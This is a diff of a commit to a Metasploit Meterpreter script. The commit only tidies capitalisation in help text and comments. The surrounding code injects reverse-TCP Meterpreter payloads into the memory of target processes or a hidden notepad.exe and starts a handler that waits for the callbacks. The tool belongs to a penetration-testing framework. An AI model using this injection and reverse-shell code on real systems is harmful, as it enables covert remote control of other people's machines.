20
20
start_handler = nil
21
21
@exec_opts = Rex ::Parser ::Arguments . new (
22
22
"-h" => [ false , "Help menu." ] ,
23
- "-p" => [ true , "The port on the remote host where Metasploit is listening (default: 4444)" ] ,
24
- "-m" => [ false , "Start exploit/multi/handler for return connection" ] ,
25
- "-pt" => [ true , "Specify Reverse Connection Meterpreter Payload . Default windows/meterpreter/reverse_tcp" ] ,
26
- "-mr" => [ true , "Provide Multiple IP Addresses for Connections separated by comma." ] ,
27
- "-mp" => [ true , "Provide Multiple PID for connections separated by comma one per IP." ]
23
+ "-p" => [ true , "The port on the remote host where Metasploit is listening (default: 4444). " ] ,
24
+ "-m" => [ false , "Start exploit/multi/handler for return connection. " ] ,
25
+ "-pt" => [ true , "Specify reverse connection Meterpreter payload . Default: windows/meterpreter/reverse_tcp" ] ,
26
+ "-mr" => [ true , "Provide multiple IP addresses for connections separated by comma." ] ,
27
+ "-mp" => [ true , "Provide multiple PID for connections separated by comma one per IP." ]
28
28
)
29
29
meter_type = client . platform
30
30
33
33
# Usage Message Function
34
34
#-------------------------------------------------------------------------------
35
35
def usage
36
- print_line "Meterpreter Script for injecting a reverce tcp Meterpreter Payload "
37
- print_line "in to memory of multiple PIDs, if none is provided a notepad process. "
38
- print_line "will be created and a Meterpreter Payload will be injected in to each."
36
+ print_line "Meterpreter script for injecting a reverce tcp Meterpreter payload "
37
+ print_line "in to memory of multiple PIDs. If none is provided, a notepad process"
38
+ print_line "will be created and a Meterpreter payload will be injected in to each."
39
39
print_line ( @exec_opts . usage )
40
40
raise Rex ::Script ::Completed
41
41
end
42
42
43
43
# Wrong Meterpreter Version Message Function
44
44
#-------------------------------------------------------------------------------
45
45
def wrong_meter_version ( meter = meter_type )
46
- print_error ( "#{ meter } version of Meterpreter is not supported with this Script !" )
46
+ print_error ( "#{ meter } version of Meterpreter is not supported with this script !" )
47
47
raise Rex ::Script ::Completed
48
48
end
49
49
@@ -62,12 +62,12 @@ def inject(target_pid, payload_to_inject)
62
62
host_process . thread . create ( mem , 0 )
63
63
print_good ( "Successfully injected Meterpreter in to process: #{ target_pid } " )
64
64
rescue ::Exception => e
65
- print_error ( "Failed to Inject Payload to #{ target_pid } !" )
65
+ print_error ( "Failed to Inject payload to #{ target_pid } !" )
66
66
print_error ( e )
67
67
end
68
68
end
69
69
70
- # Function for Creation of Connection Handler
70
+ # Function for creation of connection handler
71
71
#-------------------------------------------------------------------------------
72
72
def create_multi_handler ( payload_to_inject )
73
73
mul = @client . framework . exploits . create ( "multi/handler" )
@@ -84,7 +84,7 @@ def create_multi_handler(payload_to_inject)
84
84
85
85
end
86
86
87
- # Function for Creating the Payload
87
+ # Function for creating the payload
88
88
#-------------------------------------------------------------------------------
89
89
def create_payload ( payload_type , lhost , lport )
90
90
print_status ( "Creating a reverse meterpreter stager: LHOST=#{ lhost } LPORT=#{ lport } " )
@@ -98,7 +98,7 @@ def create_payload(payload_type,lhost,lport)
98
98
# Function starting notepad.exe process
99
99
#-------------------------------------------------------------------------------
100
100
def start_proc ( )
101
- print_good ( "Starting Notepad.exe to house Meterpreter Session ." )
101
+ print_good ( "Starting Notepad.exe to house Meterpreter session ." )
102
102
proc = client . sys . process . execute ( 'notepad.exe' , nil , { 'Hidden' => true } )
103
103
print_good ( "Process created with pid #{ proc . pid } " )
104
104
return proc . pid
@@ -121,12 +121,12 @@ def start_proc()
121
121
end
122
122
}
123
123
124
- # Check for Version of Meterpreter
124
+ # Check for version of Meterpreter
125
125
wrong_meter_version ( meter_type ) if meter_type !~ /win32|win64/i
126
- # Create a Multi Handler is Desired
126
+ # Create a exploit/multi/handler if desired
127
127
create_multi_handler ( payload_type ) if start_handler
128
128
129
- # Check to make sure a PID or Program name where provided
129
+ # Check to make sure a PID or program name where provided
130
130
131
131
if multi_ip
132
132
if multi_pid
@@ -149,4 +149,3 @@ def start_proc()
149
149
else
150
150
print_error ( "You must provide at least one IP!" )
151
151
end
152
-
0 commit comments